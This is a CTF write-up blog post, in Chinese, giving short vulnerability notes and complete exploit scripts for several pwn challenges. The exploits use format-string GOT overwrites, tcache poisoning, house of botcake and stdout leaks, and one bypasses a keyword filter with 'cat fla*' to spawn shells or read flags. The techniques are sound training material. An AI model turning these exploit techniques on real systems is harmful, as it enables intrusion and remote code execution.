picoctf_2018_echo back
32位格式化字符串,可写got表。fmtstr_payload写puts@got为vuln、printf@got为system@plt一把梭
from pwncy import *
context(log_level = "debug",arch = "i386")
filename = "PicoCTF_2018_echo_back"
remote_libc = "/home/tw0/Desktop/tool/buu_libc/x86/libc-2.27.so"
ip_port = "node4.buuoj.cn:28340"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = ip_port)
debug(p,'no-tmux',0x08048604)
# writes = {elf.got.puts:elf.plt.system,0x08048739:b"sh"}
writes = {elf.got.puts:elf.sym.vuln,elf.got.printf:elf.plt.system}
fmt = fmtstr_payload(7,writes = writes, numbwritten=0, write_size="byte")
sla("input your message:\n",fmt)
pause()
sl("/bin/sh\x00")
itr()
inndy_echo2
同样64位格式化字符串,got可写,开pie。先leak elf地址,再改printf@got为system@plt。
from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "echo2"
remote_libc = "/home/tw0/Desktop/tool/buu_libc/x64/libc-2.23.so"
ip_port = "node4.buuoj.cn:26104"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = ip_port)
debug(p,'no-tmux','pie',0x0000000000000984)
# writes = {elf.got.puts:elf.plt.system,0x08048739:b"sh"}
sl("%41$p")
elf_base = int(r(len("0x555555400a03")),16) - elf.sym.main -74
log_addr("elf_base")
writes = {(elf_base + elf.got.printf):(elf_base + elf.plt.system),}
fmt = fmtstr_payload(6,writes = writes, numbwritten=0, write_size="byte")
sl(fmt)
pause()
sl("/bin/sh\x00")
itr()
npuctf_2020_level2
非栈上格式化字符串。打法很简单,就是要注意下接受函数,让程序输出输入有时间。就像exp中接受的'\xb4'字符,可以观察程序输出内容,进行修改接受。
from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "npuctf_2020_level2"
remote_libc = "/home/tw0/Desktop/tool/buu_libc/x64/libc-2.27.so"
ip_port = "node4.buuoj.cn:28408"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = ip_port)
# 9, 35
exit = b"66666666\x00"
debug(p,'no-tmux','pie',0x000000000000081F)
sl(b"%6$p.%7$p.%9$p")
elf_base = int(r(len("0x555555400830")),16) - elf.sym.__libc_csu_init
log_addr("elf_base")
ru(".")
libc.address = int(r(len("0x555555400830")),16) - 231 - libc.sym.__libc_start_main
log("libc.address",hex(libc.address))
ru(".")
stack_addr = int(r(len("0x555555400830")),16) - 0xe0
log_addr("stack_addr")
ogg = search_og(1) + libc.address
log_addr("ogg")
pause()
fmt = bytes("%{}c%9$hn\x00".format((stack_addr & 0xffff)),encoding = 'utf-8')
sl(fmt + b"\x00")
fmt = bytes("%{}c%35$hhn\x00".format((ogg & 0xff)),encoding = 'utf-8')
sla("\xb4",fmt + b"\x00")
fmt = bytes("%{}c%9$hhn\x00".format((stack_addr & 0xff) + 1),encoding = 'utf-8')
sla("\xb4",fmt + b"\x00")
fmt = bytes("%{}c%35$hhn\x00".format(((ogg >> 8) & 0xff)),encoding = 'utf-8')
sla("\xb4",fmt + b"\x00")
fmt = bytes("%{}c%9$hhn\x00".format((stack_addr & 0xff) + 2),encoding = 'utf-8')
sla("\xb4",fmt + b"\x00")
fmt = bytes("%{}c%35$hhn\x00".format(((ogg >> 16) & 0xff)),encoding = 'utf-8')
sla("\xb4",fmt + b"\x00")
s(exit)
itr()
roarctf_2019_realloc_magic
写点有营养的wp。良心菜单题,保护全开,符号全没去。
用realloc函数申请chunk。这里要注意realloc申请的规则。
- 申请size小于等于原ptr的size,直接返回原ptr
- 申请size大于原ptr的size,会先检查nextchunk有无inuse,没有inuse进行unlink合并,然后重新malloc。如果没有可用mem就重新开一段地址并复制内容到新开辟chunk中
- 申请size为0时相当于free并清空指针
删除函数有UAF。
隐藏666函数,清空realloc_ptr指针。
问题:
- 程序没有leak函数,无法获得libc的地址。
- 如果用io leak方法,那么怎么将chunk放入unsortedbin中?如果是大于tcache大小的chunk被释放后会因为和top chunk相连直接合并。
- 存在UAF漏洞,可以使用tcache attack。但是似乎无法制造chunk overlap实现tcache posioning。
解决方案:
- 可以利用io leak方法,踩main arena残留地址为stdout结构体,泄露libc地址
- UAF释放7次填满tcache idx后将chunk放入unsorted bin中
- 查看realloc函数源码,发现realloc函数在有ptr指针时,如果next chunk 是没有inuse的就会进行合并再分割,从而实现chunk overlap
exp打远程时需要修改脚本进行爆破,或者重写新py用os执行下面的脚本
from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "roarctf_2019_realloc_magic"
remote_libc = "/home/tw0/Desktop/tool/buu_libc/x64/libc-2.27.so"
ip_port = "node4.buuoj.cn:26091"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = ip_port)
def cmd(choice):
sla(">> ",str(choice))
def add(size,content):
cmd(1)
sla("Size?\n",str(size))
sa("Content?",content)
def delete():
cmd(2)
def attack():
debug(p,'no-tmux','pie',0x0000000000000A8A)
pad = b"dead"
null = b""
add(0x40,pad)
add(0,null)
add(0x80,pad)
add(0,null)
add(0x50,pad)
add(0,null)
add(0x80,pad)
for i in range(7): #释放7次填满tcache
delete()
add(0,null) #进入unsorted bin中,标记next chunk的previnuse位
add(0x40,pad)
add(0x60,b"a" * 0x48 + p64(0x51) + p16(libc.sym._IO_2_1_stdout_ & 0xffff))
add(0,null)
add(0x80,pad)
add(0,null)
# pause()
add(0x80,p64(0xfbad1887) + p64(0) * 3 + p8(0xc8))
stdin_addr = recv_libc()
log_addr("stdin_addr")
libc.address = stdin_addr - libc.sym._IO_2_1_stdin_
log("libc.address",hex(libc.address))
free_hook = libc.sym.__free_hook
system = libc.sym.system
cmd(666)
# pause()
add(0x20,pad)
add(0,null)
add(0x90,pad)
add(0,null)
add(0x30,pad)
add(0,null)
add(0x90,pad)
# pause()
for i in range(7):
delete()
add(0,null)
add(0x20,pad)
add(0x40,b"a" * 0x20 + p64(0) + p64(0x51) + p64(free_hook - 8))
add(0,null)
pause()
add(0x90,pad)
add(0,null)
pause()
add(0x90,b"/bin/sh\x00" + p64(system))
pause()
delete()
itr()
attack()
ciscn_2019_s_1
got表不可写,edit存在offbynull漏洞,glibc-2.27版本,可以利用house of botcacke手法打tcache posioning。有show函数,但是需要先写key位置。
from pwncy import *
context(log_level = "debug",arch = "i386")
filename = "ciscn_s_1"
remote_libc = "/home/tw0/Desktop/tool/buu_libc/x64/libc-2.27.so"
ip_port = "node4.buuoj.cn:25467"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = ip_port)
def cmd(choice):
sla("4.show\n",str(choice))
def add(index,size,content):
cmd(1)
sla("index:\n",str(index))
sla("size:\n",str(size))
ru("gift: ")
heap_addr = int(ru("\n"),16)
sa("content:\n",content)
return heap_addr
def delete(index):
cmd(2)
sla("index:\n",str(index))
def change(index,content):
cmd(3)
sla("index:\n",str(index))
sa("content:\n",content)
def show(index):
cmd(4)
sla("index:\n",str(index))
debug(p,'no-tmux',0x400B8A)
pad = b"dead"
key2 = 0x00000000006022B8
key1 = 0x00000000006022BC
for i in range(7): #0-6
add(i,0x88,pad)
add(7,0x88,pad)
add(8,0xe8,pad) #posion 1
add(9,0xa8,pad) #posion 2
add(10,0xf8,pad)
add(11,0x80,pad)
for i in range(7):
delete(i)
for i in range(7):
add(i,0xf8,pad)
for i in range(7):
delete(i)
delete(7)
change(9,b"a" * 0xa0 + p64(0x230))
delete(10)
delete(8)
add(7,0xa0,b"a" * 0x80 + p64(0) + p64(0xa1) + p64(key2)) #7 posion 1
# pause()
add(8,0xe8,pad)
add(10,0xe8,p64(0xffffffffffffffff))
for i in range(7):
add(i,0xf0,pad)
add(12,0xf0,b"a" * 0x8)
show(12)
# pause()
ru(b"a" * 0x8)
libc.address = recv_libc() - 96 - libc.sym.__malloc_hook - 0x10
log("libc.address",hex(libc.address))
free_hook = libc.sym.__free_hook
system = libc.sym.system
delete(9)
change(12,b"a" * 0xc0 + p64(0) + p64(0xb1) + p64(free_hook - 8))
# pause()
add(13,0xa0,pad)
add(14,0xa0,b"/bin/sh\x00" + p64(system))
delete(14)
itr()
另外,因为heap[31] 0x6021e0和key 0x6022B8地址相差0xd8,加上unlink之后的0x18,刚好0xf,可以unlink之后直接写key,需要对数据敏感一些。
uaf
如题目描述,存在uaf漏洞。利用uaf漏洞打tcache bin attack。
直接附上exp。
from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "main"
remote_libc = "./libc-2.31.so"
ip_port = "120.78.172.238:42687"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = ip_port)
def cmd(choice):
# pass
sla(">> \n",str(choice))
def add(size,content):
cmd(1)
sla("Tell me the book content size: \n",str(size))
sa("Tell me the book content: \n",content)
def delete(index):
cmd(2)
sla("Tell me the book index: \n",str(index))
def change(index,content):
cmd(3)
sla("Tell me the book index: \n",str(index))
sla("Tell me the book content: \n",content)
def show():
cmd(4)
def login(password = b"1234567890"):
cmd(5)
sa("Passwd: \n",password)
def hack(name,ptr,address,mode = 2):
sla("Tell me ur name: \n",name) #8 bytes #$p$19$p
sla(">> \n",mode)
sa("READ MODE: \n",ptr)
s(address)
debug(p,'no-tmux','pie',0x1386,0x1429)
add(0x500,b"A")
add(0x500,b"b")
delete(0)
show()
main_arena = recv_libc()
libc_base = main_arena - 96 - 0x10 - libc.sym.__malloc_hook
libc.address = libc_base
free_hook = libc.sym.__free_hook
add(0x10,b"aaaaaaaaaaaaaaaa") #2
show()
ru("aaaaaaaaaaaaaaaa")
heap1 = u64(r(6).ljust(8,b"\x00"))
log_addr("heap1")
heap_base = heap1 - 0x290
add(0x10,b"A" * 0x10) #3
delete(3)
delete(0)
pause()
change(2,flat([p64(free_hook),p64(heap_base + 0x10)]))
pause()
add(0x10,b"b")
add(0x10,b'c') #5
change(5,flat([p64(libc_base + search_og(1))]))
delete(0)
itr()
admin
此处仅讲正向思路:反编译获得题目菜单选项,首先查看第五个选项cmd。
查看cmd选项逻辑,最多可以输入0x100字节的command存储在数组buf中。程序会对buf数组中的字符进行每两个检查sh
、每四个检查flag
,如果没有这两个字符存在,就执行命令。因此可以利用通配符代替flag字符获得flag。
操作过程可以写脚本执行,直接打会更加方便。
from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "./main"
remote_libc = "./libc-2.31.so"
ip_port = "39.108.165.189:41548"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = ip_port)
def cmd(choice):
sla(">> \n",str(choice))
debug(p,'no-tmux','pie',0x1D84)
cmd(5)
command = b"cat fla*"
sla("Command: \n",command)
itr()
标签:题目,libc,练习,elf,port,add,pad,一些,sla
From: https://www.cnblogs.com/Tw0YY/p/17539305.html